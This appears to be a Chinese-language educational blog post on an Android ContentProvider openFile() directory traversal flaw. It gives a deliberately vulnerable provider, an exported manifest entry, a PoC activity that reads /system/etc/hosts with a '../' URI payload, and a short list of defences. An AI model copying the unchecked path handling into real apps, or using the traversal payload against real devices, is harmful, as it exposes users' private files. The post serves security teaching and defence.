ContentProvider openFile接口目录遍历漏洞

Posted Tr0e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ContentProvider openFile接口目录遍历漏洞相关的知识,希望对你有一定的参考价值。

文章目录

漏洞原理

android ContentProvider 组件 openFile 接口存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的。

openFile() 接口

Android ContentProvider 提供了一个 API 接口 openFile() 来共享文件:

漏洞原理

对外暴露的 Content Provider 实现了 openFile() 接口,因此其他有相应调用该 Content Provider 权限的应用即可调用 Content Provider 的 openFile() 接口进行文件数据访问。但是如果没有进行 Content Provider 访问权限控制和对访问的目标文件的 Uri 进行有效判断,攻击者利用文件目录遍历访问任意可读文件。

漏洞触发前提条件

  1. 对外暴露的 Content Provider 组件实现了 openFile() 接口;
  2. 没有对所访问的目标文件 Uri 进行有效判断,如没有过滤限制如“…/”可实现任意可读文件的访问的 Content Query Uri。

漏洞程序

下面来编写一个具体的漏洞示例程序。

1、创建一个继承 Content Provider 类的 FileProvider 类,并重写 openFile() 方法:

public class FileProvider extends ContentProvider 
    public FileProvider() 
    

    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException 
        File file = new File(getContext().getFilesDir(),uri.getPath());
        if(file.exists())
            return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
        
        throw new FileNotFoundException(uri.getPath());
    

    @Override
    public int delete(Uri uri, String selection, String[] selectionArgs) 
        // Implement this to handle requests to delete one or more rows.
        throw new UnsupportedOperationException("Not yet implemented");
    

    @Override
    public String getType(Uri uri) 
        // TODO: Implement this to handle requests for the MIME type of the data
        // at the given URI.
        throw new UnsupportedOperationException("Not yet implemented");
    

    @Override
    public Uri insert(Uri uri, ContentValues values) 
        // TODO: Implement this to handle requests to insert a new row.
        throw new UnsupportedOperationException("Not yet implemented");
    

    @Override
    public boolean onCreate() 
        // TODO: Implement this to initialize your content provider on startup.
        return false;
    

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) 
        // TODO: Implement this to handle query requests from clients.
        throw new UnsupportedOperationException("Not yet implemented");
    

    @Override
    public int update(Uri uri, ContentValues values, String selection,
                      String[] selectionArgs) 
        // TODO: Implement this to handle requests to update one or more rows.
        throw new UnsupportedOperationException("Not yet implemented");
    

2、在 Manifest.xml 文件中注册该组件并赋予 authorities,同时将 exposed 属性设为 true:

<provider
     android:name=".contentProvider.FileProvider"
     android:authorities="com.bwshen.app.FileProvider"
     android:enabled="true"
     android:exported="true" />

攻击程序

编写 POC 程序,借助上述存在漏洞的 ContentProvider 读取 /system/etc/hosts 文件的内容:

/**
 * ContentProvider openfile目录穿越漏洞测试
 */
public class openFileActivity extends AppCompatActivity 
    private static String TAG = "openFileActivity";

    @Override
    protected void onCreate(final Bundle savedInstanceState) 
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_open_file);
        Button Button1 = (Button) findViewById(R.id.bnt_openfile);
        Button1.setOnClickListener(new View.OnClickListener() 
            @Override
            public void onClick(View v) 
                String authorities = "com.bwshen.app.FileProvider";
                String fileUri="content://" + authorities + "/../../../../system/etc/hosts";
                ContentResolver cr = getContentResolver();
                try 
                    FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));
                    byte[] buff =new byte[in.available()];
                    in.read(buff);
                    Log.e(TAG,new String(buff));
                 catch ( IOException e) 
                    e.printStackTrace();
                
            
        );
    

运行程序,点击 POC 按钮可以看到日志中成功读取到 /system/etc/hosts

漏洞防御

针对上述漏洞,有效的防御手段如下:

  1. 将不必要导出的 Content Provider 设置为不导出;
  2. 如果应用的 Content Provider 组件没有必要实现 openFile() 接口,建议去除没有必要的 openFile() 接口;
  3. 限制文件路径访问,对访问的目标文件的路径进行有效判断。

以上是关于ContentProvider openFile接口目录遍历漏洞的主要内容,如果未能解决你的问题,请参考以下文章

ContentProvider openFile接口目录遍历漏洞

虚拟化笔记04.OpenFiler.install

关于使用openfiler作为共享存储来安装rac时的问题

Openfiler的安装和配置

使用OpenFiler实现共享存储

openfiler设置与添加vmware ESXI